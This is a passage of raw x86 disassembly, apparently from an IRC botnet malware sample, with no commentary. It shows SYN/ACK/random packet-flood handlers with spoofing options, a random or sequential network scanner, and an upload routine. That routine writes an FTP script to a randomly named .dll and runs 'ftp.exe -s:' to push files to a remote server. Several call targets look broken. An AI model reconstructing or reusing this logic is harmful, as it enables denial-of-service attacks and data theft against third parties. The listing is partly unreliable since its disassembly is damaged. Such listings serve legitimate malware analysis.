		push	eax
		push	esi
		call	dword_4CB9EC
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA24
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		push	esi
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AEFC


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEB4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE70
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset byte_4149C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42AE38
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE00


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAC4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADB8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset dword_413E10
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42AD80
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF4


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC8C
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: ___:004330E0o
					; ___:004330F4o ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC44
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset dword_413F9C
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42AC0C


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABA8


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		nop
		call	near ptr 26B0C98h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB38
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB08


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_4317F8


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AAD4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA38
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42AA00
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40CA1D
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_42A974
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
